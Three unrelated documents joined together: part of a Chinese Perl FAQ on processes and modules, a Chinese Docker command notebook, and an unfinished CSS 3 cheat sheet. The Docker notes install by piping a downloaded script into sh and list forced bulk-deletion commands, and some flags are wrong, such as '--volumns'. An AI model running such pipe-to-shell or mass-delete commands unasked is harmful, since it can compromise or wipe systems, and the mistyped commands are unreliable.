\fIsystem()\fR 和 \fIexec()\fR 的列表形式,不会进行 shell 转义。 .PP .Vb 3 \& open( GREP, "-|", 'grep', @opts, $search_string, @filenames ); \& chomp(@ok = <GREP>); \& close GREP; .Ve .PP 也可以这样: .PP .Vb 10 \& my @ok = (); \& if (open(GREP, "-|")) { \& while (<GREP>) { \& chomp; \& push(@ok, $_); \& } \& close GREP; \& } else { \& exec 'grep', @opts, $search_string, @filenames; \& } .Ve .PP 一如 system(),当你 exec() 一个序列时不会有 shell 解译的情况发生。更多示例可以从 perlipc 的 \*(L"Safe Pipe Opens\*(R" 中找到。 .PP Note that if you're use Microsoft, no solution to this vexing issue is even possible. Even if Perl were to emulate \fIfork()\fR, you'd still be stuck, because Microsoft does not have a argc/argv\-style \s-1API\s0. .Sh "为何给了 EOF(Unix上是 ^D,MS-DOS上是 ^Z)後我的程式就不能从 STDIN 读取东西了呢?" .IX Subsection "Why can't my script read from STDIN after I gave it EOF (^D on Unix, ^Z on MS-DOS)?" 因为某些 stdio 的 set error 和 eof 旗标需要清除。你可以用 POSIX 模组里定 义的clearerr()。这是在技术上正确的解决之道。还有一些较不保险的方法: .IP "1" 4 .IX Item "1" 试着保存搜寻指标然後去找它,例如: .Sp .Vb 2 \& $where = tell(LOG); \& seek(LOG, $where, 0); .Ve .IP "2" 4 .IX Item "2" 如果那样行不通,试着去 seek() 档案的另一部份然後再找回来。 .IP "3" 4 .IX Item "3" 如果还是行不通,试着 seek() 档案另一个相异的的部份,读点东西,再回去找。 .IP "4" 4 .IX Item "4" 如果依然不行,放弃使用 stdio 改用 sysread。 .Sh "如何把 shell程式转成 perl?" .IX Subsection "How can I convert my shell script to perl?" 学习 Perl 然後重写。说真的,没有简单的转换方式。用 shell 做起来很笨的工 作可以用 Perl 很轻松的做到,而就是这些麻烦之处使得 shell->perl 转换程式 非常不可能写得出来。在重新撰写程式的过程里,你会认清自己真正要做的工作为 何,也希望能够跳脱 shell 的管线资料流机制 [pipeline datastream paradigm], 这东西虽对某些事情很方便,但也常造成低效率。 .Sh "perl能处理 telnet或 ftp 会话吗?" .IX Subsection "Can I use perl to run a telnet or ftp session?" 试试 Net::FTP、TCP::Client 和 NET::Telnet 模组(CPAN 有)。 http://www.perl.com/CPAN/scripts/netstuff/telnet.emul.shar 也有助於模拟 telnet 协定,但是 Net::Telnet 可能较容易使用。 .PP 如果你所要做的只是假装 telnet 但又不要起始 telnet 时的沟通程序,那麽以下这个标准的双程序方式就可以满足你的需要了: .PP .Vb 12 \& use IO::Socket; # new in 5.004 \& $handle = IO::Socket::INET->new('www.perl.com:80') \& || die "can't connect to port 80 on www.perl.com: $!"; \& $handle->autoflush(1); \& if (fork()) { # XXX: undef means failure \& select($handle); \& print while <STDIN>; # everything from stdin to socket \& } else { \& print while <$handle>; # everything from socket to stdout \& } \& close $handle; \& exit; .Ve .Sh "如何在 Perl里达到 Expect的功能?" .IX Subsection "How can I write expect in Perl?" 很久很久以前,有个叫做 chat2.pl 的程式库(perl 标准配备之一),但一直没 真正完工。如果遇到它的话,不要去用它。现在,你的最佳选择就是从 CPAN 来的 Expect 模块,同时它需要 CPAN 的另两个模块, IO::Pty 和 IO::Stty. .ie n .Sh "有没有可能将 perl的指令列隐藏起来,以躲避像 "ps"之类的程式?" .el .Sh "有没有可能将 perl的指令列隐藏起来,以躲避像 ``ps''之类的程式?" .IX Subsection "Is there a way to hide perl's command line from programs such as ps?" 首先要注意的是,如果你的目的是为了安全(例如避免人们偷看到密码),那你应该重写你的程式,把重要的资讯从参数中剔除。光是隐藏起来不会让你的程式变得完全安全。 .PP 如要真的把看得见的指令列改掉,你可以设定 $0 这个变数值,如同 perlvar 里写的。但这方法并非各种作业系统都适用。像 sendmail之类的背景程式 (daemons) 就将它们的状态放在那儿: .PP .Vb 1 \& $0 = "orcus [accepting connections]"; .Ve .Sh "我在 perl script里 {更动目录,更改我的使用环境}。为何这些改变在程式执行完後就消失了呢?如何让我做的修改显露出来?" .IX Subsection "I {changed directory, modified my environment} in a perl script. How come the change disappeared when I exited the script? How do I get my changes to be visible?" .IP "Unix" 4 .IX Item "Unix" 严格的说起来,这是做不到的-一个 script 的执行是从启动它的 shell 生出一 个不同的程序来执行。这个程序的任何变动不会反映到它的父程序,只会反映到更 改之後它自己创造出来的子程序。有个 shell 魔术可以让你藉着在 shell 里 eval()你 script 的输出来装出这种效果,在 comp.unix.questions FAQ 里有详 细内容。 .Sh "如何关闭一个程序的文件句柄而不用等它完成呢?" .IX Subsection "How do I close a process's filehandle without waiting for it to complete?" 假设你的系统支援这种功能,那就只要送个适当的讯号给此程序(参看 kill)。通常是先送一个 TERM 讯号,等一下下,然後再送个 KILL 讯号去终结它。 .Sh "如何 fork 一个守护进程?" .IX Subsection "How do I fork a daemon process?" 如果你所指的是离线的程序(未与 tty 连线者),那下列的程序据说在大部份的 Unix系统都能用。非 Unix 系统的使用者应该检查 Your_OS::Process 模组看看有 没有其他的解决方案。 .IP "\(bu" 4 打开 /dev/tty 然後对它用 TIOCNOTTY ioctl。请参考 tty(4) 。更好的办法,你可以只用 \fIPOSIX::setsid()\fR 函数,从而不必担心进程组。 .IP "\(bu" 4 把目录换到 / .IP "\(bu" 4 重开 STDIN、STDOUT 和 STDERR 使它们不会与旧的 tty 连接。 .IP "\(bu" 4 用下列方法把程式丢到后台: .Sp .Vb 1 \& fork && exit; .Ve .PP The Proc::Daemon module, available from \s-1CPAN\s0, provides a function to perform these actions for you. .Sh "如何知道自己是否在交互地运行?" .IX Subsection "How do I find out if I'm running interactively or not?" 问得好。有的时候 \f(CW\*(C`\-t STDIN\*(C'\fRN 和 \f(CW\*(C`\-t STDOUT\*(C'\fR 可以提供线索,有时不行。 .PP .Vb 3 \& if (-t STDIN && -t STDOUT) { \& print "Now what? "; \& } .Ve .PP 在 POSIX 系统中,你可以用以下方法测试你自己的程序群组与现在控制你终端机 的是否相同: .PP .Vb 9 \& use POSIX qw/getpgrp tcgetpgrp/; \& open(TTY, "/dev/tty") or die $!; \& $tpgrp = tcgetpgrp(fileno(*TTY)); \& $pgrp = getpgrp(); \& if ($tpgrp == $pgrp) { \& print "foreground\en"; \& } else { \& print "background\en"; \& } .Ve .Sh "如何为缓慢的事件设置超时?" .IX Subsection "How do I timeout a slow event?" 如同 Signals 和 Camel 书第六章里所描述的,用 alarm() 函数, 或许再配合上一个讯号处理器。你也可以改用 CPAN 里更具弹性的 Sys::AlarmCall 模组来做。 .PP The \fIalarm()\fR function is not implemented on all versions of Windows. Check the documentation for your specific version of Perl. .Sh "如何设置 CPU 限额?" .IX Subsection "How do I set CPU limits?" 使用 CPAN 里的 BSD::Resource 模组。 .Sh "如何避免在 Unix 系统中产生僵尸进程?" .IX Subsection "How do I avoid zombies on a Unix system?" 使用 Signals 里面叫 reaper 的程式码,在接到 SIGCHLD 时会呼 叫wait(),或是用 perlfaq8 中的 \*(L"How do I start a process in the background?\*(R" 里面写的双 fork 技巧。 .Sh "如何使用 SQL 数据库?" .IX Subsection "How do I use an SQL database?" The \s-1DBI\s0 module provides an abstract interface to most database servers and types, including Oracle, \s-1DB2\s0, Sybase, mysql, Postgresql, \&\s-1ODBC\s0, and flat files. The \s-1DBI\s0 module accesses each database type through a database driver, or \s-1DBD\s0. You can see a complete list of available drivers on \s-1CPAN:\s0 http://www.cpan.org/modules/by\-module/DBD/ . You can read more about \s-1DBI\s0 on http://dbi.perl.org . .PP Other modules provide more specific access: Win32::ODBC, Alzabo, iodbc, and others found on \s-1CPAN\s0 Search: http://search.cpan.org . .Sh "如何使 system() 在收到 control-C 时退出?" .IX Subsection "How do I make a system() exit on control-C?" 做不到。你需要摹仿 system() 呼叫(参看 perlipc 里的范例程式),然後设计一个讯号处理器,让它把 INT 讯号传给子程序。或者可以检测它: .PP .Vb 2 \& $rc = system($cmd); \& if ($rc & 127) { die "signal death" } .Ve .Sh "如何无阻塞地打开一个文件?" .IX Subsection "How do I open a file without blocking?" 如果你有幸使用到支援无阻塞读的系统(大部份 Unix 般的系统都有支援), 你只需要用 Fcntl 模组里的 O_NDELAY 或 O_NONBLOCK 旗标,配合 sysopen(): .PP .Vb 3 \& use Fcntl; \& sysopen(FH, "/tmp/somefile", O_WRONLY|O_NDELAY|O_CREAT, 0644) \& or die "can't open /tmp/somefile: $!": .Ve .Sh "How do I install a module from \s-1CPAN\s0?" .IX Subsection "如何从 CPAN 安装模块?" 最简单的方法就是让 CPAN 这个模组替你代劳。这个模组包含在 5.004及以後的版 本中。 .PP .Vb 1 \& $ perl -MCPAN -e shell .Ve .PP .Vb 2 \& cpan shell -- CPAN exploration and modules installation (v1.59_54) \& ReadLine support enabled .Ve .PP .Vb 1 \& cpan> install Some::Module .Ve .PP 如要手动安装 CPAN 模组,或是任何按规矩发展的 CPAN模组,遵循以下步 骤: .IP "1" 4 .IX Item "1" 把源代码解压到临时目录 .IP "2" 4 .IX Item "2" .Vb 1 \& perl Makefile.PL .Ve .IP "3" 4 .IX Item "3" .Vb 1 \& make .Ve .IP "4" 4 .IX Item "4" .Vb 1 \& make test .Ve .IP "5" 4 .IX Item "5" .Vb 1 \& make install .Ve .PP 如果你用的 perl 版本在编译时没有建入动态连结的功能,那你只消把第叁步 (make)换成 make perl 然後你就会得到一个新的 perl 执行档,里头连 有你新加入的延伸。 .PP 在 ExtUtils::MakeMaker 里面有更多关於建构模组的细节,并参考下一个问题,require 和 use 的区别是什么?。 .Sh "require 和 use 的区别是什么?" .IX Subsection "What's the difference between require and use?" Perl offers several different ways to include code from one file into another. Here are the deltas between the various inclusion constructs: .PP .Vb 3 \& 1) do $file is like eval `cat $file`, except the former \& 1.1: searches @INC and updates %INC. \& 1.2: bequeaths an *unrelated* lexical scope on the eval'ed code. .Ve .PP .Vb 3 \& 2) require $file is like do $file, except the former \& 2.1: checks for redundant loading, skipping already loaded files. \& 2.2: raises an exception on failure to find, compile, or execute $file. .Ve .PP .Vb 3 \& 3) require Module is like require "Module.pm", except the former \& 3.1: translates each "::" into your system's directory separator. \& 3.2: primes the parser to disambiguate class Module as an indirect object. .Ve .PP .Vb 3 \& 4) use Module is like require Module, except the former \& 4.1: loads the module at compile time, not run-time. \& 4.2: imports symbols and semantics from that package to the current one. .Ve .PP In general, you usually want \f(CW\*(C`use\*(C'\fR and a proper Perl module. .Sh "如何设置我自己的模块/库路径?" .IX Subsection "How do I keep my own module/library directory?" 当你建构模组时,在产生 Makefiles 时使用 PREFIX 选项: .PP .Vb 1 \& perl Makefile.PL PREFIX=/mydir/perl LIB=/mydir/perl/lib .Ve .PP 然後在执行用到此 模组/程式库 的程式前先设好 PERL5LIB 环境变数(参考 perlrun ),或是用 .PP .Vb 1 \& use lib '/mydir/perl/lib'; .Ve .PP 这样与下面几乎相同 .PP .Vb 3 \& BEGIN { \& unshift(@INC, '/mydir/perl/lib'); \& } .Ve .PP 但 lib 模块检测独立于机器的子目录。参见 Perl 的 lib 模块来获取详细信息。 .Sh "如何将我自己的程序的路径加入到模块/库搜索路径中?" .IX Subsection "How do I add the directory my program lives in to the module/library search path?" .Vb 3 \& use FindBin; \& use lib "$FindBin::Bin"; \& use your_own_modules; .Ve .Sh "如何在运行时将一个目录加入到我的 include 路径 (@INC) 中?" .IX Subsection "How do I add a directory to my include path (@INC) at runtime?" 以下是我们建议更动引入路径的方法: .PP .Vb 5 \& 环境变量 PERLLIB \& 环境变量 PERL5LIB \& perl -Idir 命令行标志 \& use lib 编用,类似 \& use lib "$ENV{HOME}/myown_perllib"; .Ve .PP 後者特别有用,因为它知道与机器相关的架构。lib.pm 机制模组是从 5.002 版开 始包含在 Perl 里面的。 .Sh "什么是 socket.ph,从哪儿可以得到它?" .IX Subsection "What is socket.ph and where do I get it?" It's a perl4\-style file defining values for system networking constants. Sometimes it is built using h2ph when Perl is installed, but other times it is not. Modern programs \f(CW\*(C`use Socket;\*(C'\fR instead. .SH "AUTHOR AND COPYRIGHT" .IX Header "AUTHOR AND COPYRIGHT" Copyright (c) 1997\-2003 Tom Christiansen and Nathan Torkington. All rights reserved. .PP This documentation is free; you can redistribute it and/or modify it under the same terms as Perl itself. .PP Irrespective of its distribution, all code examples in this file are hereby placed into the public domain. You are permitted and encouraged to use this code in your own programs for fun or for profit as you see fit. A simple comment in the code giving credit would be courteous but is not required. .SH "译者" .B 陈彦铭,萧百龄,两只老虎工作室
sec-knowleage
--- title: Docker 使用笔记 --- <center><h1>Docker 使用笔记</h1></center> --- ## 0x00 前言 平时在使用 Docker 时,经常会碰到忘记相关命令的情况,因此平时忘记一个就会记录一个,经过多年的记录,Docker 相关的笔记已经记录了不少。 最近在看代码审计的时候又提到了 Docker,正好借着这个机会好好的把原来记录的比较乱的 Docker 笔记整理一下。 如果你也面临过「在使用 Docker 时,时不时就会忘记某条命令」的情况,那么我相信本篇文章应该会对你有所帮助。 ## 0x01 安装 ### 1、安装 Docker ``` curl -fsSL https://get.docker.com/ | sh ``` 或者 ``` wget -qO- https://get.docker.com/ | sh ``` 在命令中输入以下命令,如果输出 helloword 表示 Docker 安装成功。 ``` docker run ubuntu echo "helloworld" ``` ![](https://teamssix.oss-cn-hangzhou.aliyuncs.com/202110282041924.png?x-oss-process=image/auto-orient,1/quality,q_80/watermark,bucket_teamssix,image_VGVhbXNTaXhXaW5YaW5Mb2dvLnBuZz94LW9zcy1wcm9jZXNzPWltYWdlL3Jlc2l6ZSxQXzM4,x_10,y_10) ### 2、安装 Docker-Compose ``` sudo curl -L "https://github.com/docker/compose/releases/download/1.23.2/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose sudo chmod +x /usr/local/bin/docker-compose docker-compose --version ``` ### 3、Docker 设置国内镜像源 ``` vi /etc/docker/daemon.json { "registry-mirrors": ["http://hub-mirror.c.163.com"] } systemctl restart docker.service ``` 国内加速地址如下: ``` Docker中国区官方镜像 https://registry.docker-cn.com 网易 http://hub-mirror.c.163.com 中国科技大学 https://docker.mirrors.ustc.edu.cn 阿里云容器 服务 https://cr.console.aliyun.com/ ``` ## 0x02 使用 ### 1、搜索镜像 ``` docker search centos ``` ### 2、拉取镜像 ``` docker pull centos ``` ### 3、查看镜像文件 ``` docker images ``` 查看镜像层级关系 ``` docker images tree # 以前这个命令是: docker images --tree ``` ### 4、查看docker所有进程 ``` docker ps -a ``` ### 5、开启容器 开启指定容器,这里的容器名为 Web ``` docker start web ``` 启动所有容器 ``` docker start $(docker ps -aq) ``` ### 6、进入正在运行的容器 docker 创建的 ``` docker attach web ``` docker-compose 创建的 container_name 需要在 docker-compose.yml 文件中查看 ``` docker-compose exec container_name bash ``` ### 7、指定端口启动创建进入容器 ``` docker run -p 9992:80 -p 8882:8888 -it ubuntu /bin/bash docker run --name web1 -p 9991:80 -p 8881:8888 -it centos /bin/bash ``` ### 8、导出导入镜像 export\import 导入导出 ``` docker export web > /home/docker_web.tar docker import /home/docker_web.tar ``` save\load 导入导出 ``` docker save 9610cfc68e8d > /home/docker_web.tar docker load < /home/docker_web.tar ``` export\import 与 save\load 的区别: * export\import 导出的镜像文件大小要小于 save\load 导出的镜像 * export\import 是根据容器拿到的镜像,再导入时会丢失镜像所有的历史,所以无法进行回滚操作;而 save\load 的镜像,没有丢失镜像的历史,可以回滚到之前的层。 核心原因是 export 是针对容器的导出,所以只有所有层组合的最终版本;而 save 则是针对镜像的,所以可以看到每一层的信息。 ### 9、修改正在运行的容器端口映射 a、停止容器 b、 停止 docker 服务(systemctl stop docker) c、 修改这个容器的 hostconfig.json 文件中的端口(原帖有人提到,如果 config.v2.json 里面也记录了端口,也要修改) ``` cd /var/lib/docker/3b6ef264a040* # 这里是 CONTAINER ID vi hostconfig.json # 如果之前没有端口映射, 应该有这样的一段: "PortBindings":{} # 增加一个映射, 这样写: "PortBindings":{"3306/tcp":[{"HostIp":"","HostPort":"3307"}]} # 前一个数字是容器端口, 后一个是宿主机端口 # 而修改现有端口映射更简单, 把端口号改掉就行 ``` d、启动docker服务(systemctl start docker) e、启动容器 ### 10、文件传输 ``` docker cp 本地文件路径 ID全称:容器路径 # 或者 docker cp ID全称:容器文件路径 本地路径 ``` ### 11、后台运行docker 启动全新的容器,该命令会在后台运行容器,并返回容器ID ``` docker run -d ``` 对于现有的容器 ``` ctrl+P+Q ``` ## 0x03 卸载 ### 1、停止容器 停止指定容器 ``` docker stop web ``` 停止所有容器 ``` docker stop $(docker ps -aq) ``` ### 2、删除容器和镜像 删除指定容器 ``` docker container rm d383057928b4 # 指定容器 ID ``` 删除所有已退出的容器 ``` docker rm $(docker ps -q -f status=exited) ``` 删除所有已停止的容器 ``` docker rm $(docker ps -a -q) ``` 删除所有正在运行和已停止的容器 ``` docker stop $(docker ps -a -q) docker rm $(docker ps -a -q) ``` 删除所有容器,没有任何标准 ``` docker container rm $(docker container ps -aq) ``` Docker 资源清理 ``` docker container prune # 删除所有退出状态的容器 docker image prune # 删除 dangling 或所有未被使用的镜像 docker network prune # 删除所有未使用的网络 docker volume prune # 删除未被使用的数据卷 docker system prune # 删除已停止的容器、dangling 镜像、未被容器引用的 network 和构建过程中的 cache,安全起见,这个命令默认不会删除那些未被任何容器引用的数据卷,如果需要同时删除这些数据卷,你需要显式的指定 --volumns 参数 docker system prune --all --force --volumns # 这次不仅会删除数据卷,而且连确认的过程都没有了!注意,使用 --all 参数后会删除所有未被引用的镜像而不仅仅是 dangling 镜像 ``` 删除所有镜像 ``` docker rmi $(docker images -q) ``` ### 3、卸载Docker ``` yum list installed | grep docker yum -y remove docker.x86_64 ``` ### 4、卸载Docker-compose ``` rm /usr/local/bin/docker-compose ``` > 参考资料: > > [https://blog.csdn.net/a906998248/article/details/46236687](https://blog.csdn.net/a906998248/article/details/46236687) > > [https://blog.csdn.net/wesleyflagon/article/details/78961990](https://blog.csdn.net/wesleyflagon/article/details/78961990) <Vssue /> <script> export default { mounted () { this.$page.lastUpdated = "2022年4月15日" } } </script>
sec-knowleage
--- title: CSS 3 date: 2020-12-25 20:22:47 background: bg-[#3473b5] tags: - web - css - style categories: - Programming intro: | This is a quick reference cheat sheet for CSS goodness, listing selector syntax, properties, units and other useful bits of information. plugins: - copyCode --- Getting Started ------------ ### Introduction {.row-span-3} CSS is rich in capabilities and is more than simply laying out pages. #### External stylesheet ```html {.wrap} <link href="./path/to/stylesheet/style.css" rel="stylesheet" type="text/css"> ``` #### Internal stylesheet ```html <style> body { background-color: linen; } </style> ``` #### Inline styles ```html {.wrap} <h2 style="text-align: center;">Centered text</h2> <p style="color: blue; font-size: 18px;">Blue, 18-point text</p> ``` ### Add class ```html <div class="classname"></div> <div class="class1 ... classn"></div> ``` Support multiple classes on one element. ### !important ```css .post-title { color: blue !important; } ``` Overrides all previous styling rules. ### Selector ```css h1 { } #job-title { } div.hero { } div > p { } ``` See: [Selectors](#css-selectors) ### Text color ```css color: #2a2aff; color: green; color: rgb(34, 12, 64, 0.6); color: hsla(30 100% 50% / 0.6); ``` See: [Colors](#css-colors) ### Background ```css background-color: blue; background-image: url("nyan-cat.gif"); background-image: url("../image.png"); ``` See: [Backgrounds](#css-backgrounds) ### Font ```css .page-title { font-weight: bold; font-size: 30px; font-family: "Courier New"; } ``` See: [Fonts](#css-fonts) ### Position ```css .box { position: relative; top: 20px; left: 20px; } ``` See also: [Position](https://learn-the-web.algonquindesign.ca/topics/css-layout-cheat-sheet/) ### Animation ```css animation: 300ms linear 0s infinite; animation: bounce 300ms linear infinite; ``` See: [Animation](#css-animation) ### Comment ```css /* This is a single line comment */ /* This is a multi-line comment */ ``` ### Flex layout ```css div { display: flex; justify-content: center; } div { display: flex; justify-content: flex-start; } ``` See: [Flexbox](#css-flexbox) | [Flex Tricks](#css-flexbox-tricks) ### Grid layout ```css #container { display: grid; grid: repeat(2, 60px) / auto-flow 80px; } #container > div { background-color: #8ca0ff; width: 50px; height: 50px; } ``` See: [Grid Layout](#css-grid-layout) ### Variable & Counter ```css counter-set: subsection; counter-increment: subsection; counter-reset: subsection 0; :root { --bg-color: brown; } element { background-color: var(--bg-color); } ``` See: [Dynamic content](#css-dynamic-content) CSS Selectors ----------- ### Examples {.row-span-2} #### Groups Selector ```css h1, h2 { color: red; } ``` #### Chaining Selector ```css h3.section-heading { color: blue; } ``` #### Attribute Selector ```css div[attribute="SomeValue"] { background-color: red; } ``` #### First Child Selector ```css p:first-child { font-weight: bold; } ``` #### No Children Selector ```css .box:empty { background: lime; height: 80px; width: 80px; } ``` ### Basic | | | |--------------|-----------------------------| | `*` | All elements | | `div` | All div tags | | `.classname` | All elements with class | | `#idname` | Element with ID | | `div,p` | All divs and paragraphs | | `#idname *` | All elements inside #idname | See also: [Type](https://developer.mozilla.org/en-US/docs/Web/CSS/Type_selectors) / [Class](https://developer.mozilla.org/en-US/docs/Web/CSS/Class_selectors) / [ID](https://developer.mozilla.org/en-US/docs/Web/CSS/ID_selectors) / [Universal](https://developer.mozilla.org/en-US/docs/Web/CSS/Universal_selectors) selectors ### Combinators | Selector | Description | |-----------------|---------------------------------------| | `div.classname` | Div with certain classname | | `div#idname` | Div with certain ID | | `div p` | Paragraphs inside divs | | `div > p` | All p tags<br>_one level deep in div_ | | `div + p` | P tags immediately after div | | `div ~ p` | P tags preceded by div | See also: [Adjacent](https://developer.mozilla.org/en-US/docs/Web/CSS/Adjacent_sibling_combinator) / [Sibling](https://developer.mozilla.org/en-US/docs/Web/CSS/General_sibling_combinator) / [Child](https://developer.mozilla.org/en-US/docs/Web/CSS/Child_combinator) selectors ### Attribute selectors | | | |----------------------|------------------------------------| | `a[target]` | With a <yel>target</yel> attribute | | `a[target="_blank"]` | Open in new tab | | `a[href^="/index"]` | Starts with <yel>/index</yel> | | `[class|="chair"]` | Starts with <yel>chair</yel> | | `[class*="chair"]` | containing <yel>chair</yel> | | `[title~="chair"]` | Contains the word <yel>chair</yel> | | `a[href$=".doc"]` | Ends with <yel>.doc</yel> | | `[type="button"]` | Specified type | See also: [Attribute selectors](https://developer.mozilla.org/en-US/docs/Web/CSS/Attribute_selectors) ### User action pseudo classes | | | |--------------|-------------------------| | `a:link ` | Link in normal state | | `a:active ` | Link in clicked state | | `a:hover ` | Link with mouse over it | | `a:visited ` | Visited link | ### Pseudo classes | | | |-------------------|-----------------------------------------------------------------------------------------| | `p::after` | Add content after p | | `p::before` | Add content before p | | `p::first-letter` | First letter in p | | `p::first-line` | First line in p | | `::selection` | Selected by user | | `::placeholder` | [Placeholder](https://developer.mozilla.org/en-US/docs/Web/CSS/::placeholder) attribute | | `:root` | Documents root element | | `:target` | Highlight active anchor | | `div:empty` | Element with no children | | `p:lang(en)` | P with en language attribute | | `:not(span)` | Element that's not a span | ### Input pseudo classes | | | |-----------------------|---------------------------------------------------------------------------------------------| | `input:checked` | Checked inputs | | `input:disabled` | Disabled inputs | | `input:enabled` | Enabled inputs | | `input:focus` | Input has focus | | `input:in-range` | Value in range | | `input:out-of-range` | Input value out of range | | `input:valid` | Input with valid value | | `input:invalid` | Input with invalid value | | `input:optional` | No required attribute | | `input:required` | Input with required attribute | | `input:read-only` | With readonly attribute | | `input:read-write` | No readonly attribute | | `input:indeterminate` | With [indeterminate](https://developer.mozilla.org/en-US/docs/Web/CSS/:indeterminate) state | ### Structural pseudo classes | | | |-------------------------|----------------------------| | `p:first-child` | First child | | `p:last-child` | Last child | | `p:first-of-type` | First of some type | | `p:last-of-type` | Last of some type | | `p:nth-child(2)` | Second child of its parent | | `p:nth-child(3n42)` | Nth-child (an + b) formula | | `p:nth-last-child(2)` | Second child from behind | | `p:nth-of-type(2)` | Second p of its parent | | `p:nth-last-of-type(2)` | ...from behind | | `p:only-of-type` | Unique of its parent | | `p:only-child` | Only child of its parent | CSS Fonts ------ ### Properties {.row-span-3} | Property | Description | |-------------------|-----------------| | `font-family:` | \<font> <fontN> | | `font-size:` | \<size> | | `letter-spacing:` | \<size> | | `line-height:` | \<number> | | `font-weight:` | \<number> / bold / normal | | `font-style:` | italic / normal | | `text-decoration:` | underline / none | | `text-align:` | left / right<br>center / justify | | `text-transform:` | capitalize / uppercase / lowercase | {.left-text} See also: [Font](https://developer.mozilla.org/en-US/docs/Web/CSS/font) ### Shorthand {.secondary .col-span-2} | | style | weight | size (required) | | line-height | family | |---------|----------|--------|-----------------|-----|-------------|-------------------| | `font:` | `italic` | `400` | `14px` | `/` | `1.5` | `sans-serif` | | | style | weight | size (required) | | line-height | family (required) | ### Example ```css font-family: Arial, sans-serif; font-size: 12pt; letter-spacing: 0.02em; ``` ### Case {.row-span-2} ```css /* Hello */ text-transform: capitalize; /* HELLO */ text-transform: uppercase; /* hello */ text-transform: lowercase; ``` ### @font-face ```css @font-face { font-family: 'Glegoo'; src: url('../Glegoo.woff'); } ``` CSS Colors ------------ ### Named color ```css color: red; color: orange; color: tan; color: rebeccapurple; ``` ### Hexadecimal color ```css color: #090; color: #009900; color: #090a; color: #009900aa; ``` ### rgb() Colors ```css color: rgb(34, 12, 64, 0.6); color: rgba(34, 12, 64, 0.6); color: rgb(34 12 64 / 0.6); color: rgba(34 12 64 / 0.3); color: rgb(34.0 12 64 / 60%); color: rgba(34.6 12 64 / 30%); ``` ### HSL Colors ```css color: hsl(30, 100%, 50%, 0.6); color: hsla(30, 100%, 50%, 0.6); color: hsl(30 100% 50% / 0.6); color: hsla(30 100% 50% / 0.6); color: hsl(30.0 100% 50% / 60%); color: hsla(30.2 100% 50% / 60%); ``` ### Other ```css color: inherit; color: initial; color: unset; color: transparent; color: currentcolor; /* keyword */ ``` CSS Backgrounds ---------- ### Properties {.row-span-2} | Property | Description | |---------------|---------------| | `background:` | _(Shorthand)_ | | `background-color:` | See: [Colors](#css-colors) | | `background-image:` | url(...) | | `background-position:` | left/center/right<br/>top/center/bottom | | `background-size:` | cover X Y | | `background-clip:` | border-box<br/>padding-box<br/>content-box | | `background-repeat:` | no-repeat<br/>repeat-x<br/>repeat-y | | `background-attachment:` | scroll/fixed/local | {.left-text} ### Shorthand {.secondary .col-span-2} | | color | image | positionX | positionY | | size | repeat | attachment | |---------------|--------|--------------|-----------|-----------|-----|----------------|-------------|------------| | `background:` | `#ff0` | `url(a.jpg)` | `left` | `top` | `/` | `100px` `auto` | `no-repeat` | `fixed;` | | `background:` | `#abc` | `url(b.png)` | `center` | `center` | `/` | `cover` | `repeat-x` | `local;` | | | color | image | posX | posY | | size | repeat | attach.. | ### Examples {.col-span-2} ```css {.wrap} background: url(img_man.jpg) no-repeat center; background: url(img_flwr.gif) right bottom no-repeat, url(paper.gif) left top repeat; background: rgb(2,0,36); background: linear-gradient(90deg, rgba(2,0,36,1) 0%, rgba(13,232,230,1) 35%, rgba(0,212,255,1) 100%); ``` CSS The Box Model ------------ ### Maximums/Minimums ```css .column { max-width: 200px; width: 500px; } ``` See also: [max-width](https://developer.mozilla.org/en-US/docs/Web/CSS/max-width) / [min-width](https://developer.mozilla.org/en-US/docs/Web/CSS/min-width) / [max-height](https://developer.mozilla.org/en-US/docs/Web/CSS/max-height) / [min-height](https://developer.mozilla.org/en-US/docs/Web/CSS/min-height) ### Margin / Padding ```css .block-one { margin: 20px; padding: 10px; } ``` See also: [Margin](https://developer.mozilla.org/en-US/docs/Web/CSS/margin) / [Padding](https://developer.mozilla.org/en-US/docs/Web/CSS/padding) ### Box-sizing ```css .container { box-sizing: border-box; } ``` See also: [Box-sizing](https://developer.mozilla.org/en-US/docs/Web/CSS/Box-sizing) ### Visibility ```css .invisible-elements { visibility: hidden; } ``` See also: [Visibility](https://developer.mozilla.org/en-US/docs/Web/CSS/visibility) ### Auto keyword ```css div { margin: auto; } ``` See also: [Margin](https://developer.mozilla.org/en-US/docs/Web/CSS/margin) ### Overflow ```css .small-block { overflow: scroll; } ``` See also: [Overflow](https://developer.mozilla.org/en-US/docs/Web/CSS/overflow) CSS Animation {.cols-5} --------- ### Shorthand {.col-span-5 .secondary} | | name | duration | timing-function | delay | count | direction | fill-mode | play-state | |--------------|----------|----------|-----------------|---------|------------|---------------------|-----------|------------| | `animation:` | `bounce` | `300ms` | `linear` | `100ms` | `infinite` | `alternate-reverse` | `both` | `reverse` | | | name | duration | timing-function | delay | count | direction | fill-mode | play-state | ### Properties {.row-span-2 .col-span-2} | Property | Value | |------------------------------|--------------------------------------------------------| | `animation:` | _(shorthand)_ | | `animation-name:` | \<name> | | `animation-duration:` | \<time>ms | | `animation-timing-function:` | ease / linear / ease-in / ease-out / ease-in-out | | `animation-delay:` | \<time>ms | | `animation-iteration-count:` | infinite / \<number> | | `animation-direction:` | normal / reverse / alternate / alternate-reverse | | `animation-fill-mode:` | none / forwards / backwards / both / initial / inherit | | `animation-play-state:` | normal / reverse / alternate / alternate-reverse | {.left-text} See also: [Animation](https://developer.mozilla.org/en-US/docs/Web/CSS/animation) ### Example {.col-span-3} ```css /* @keyframes duration | timing-function | delay | iteration-count | direction | fill-mode | play-state | name */ animation: 3s ease-in 1s 2 reverse both paused slidein; /* @keyframes duration | timing-function | delay | name */ animation: 3s linear 1s slidein; /* @keyframes duration | name */ animation: 3s slidein; animation: 4s linear 0s infinite alternate move_eye; animation: bounce 300ms linear 0s infinite normal; animation: bounce 300ms linear infinite; animation: bounce 300ms linear infinite alternate-reverse; animation: bounce 300ms linear 2s infinite alternate-reverse forwards normal; ``` ### Javascript Event {.col-span-3} ```js .one('webkitAnimationEnd oanimationend msAnimationEnd animationend') ``` CSS Flexbox {.cols-2} ------- ### Simple example ```css .container { display: flex; } ``` ```css .container > div { flex: 1 1 auto; } ``` ### Container {.row-span-2} .container { ```css display: flex; display: inline-flex; ``` ```css flex-direction: row; /* ltr - default */ flex-direction: row-reverse; /* rtl */ flex-direction: column; /* top-bottom */ flex-direction: column-reverse; /* bottom-top */ ``` ```css flex-wrap: nowrap; /* one-line */ 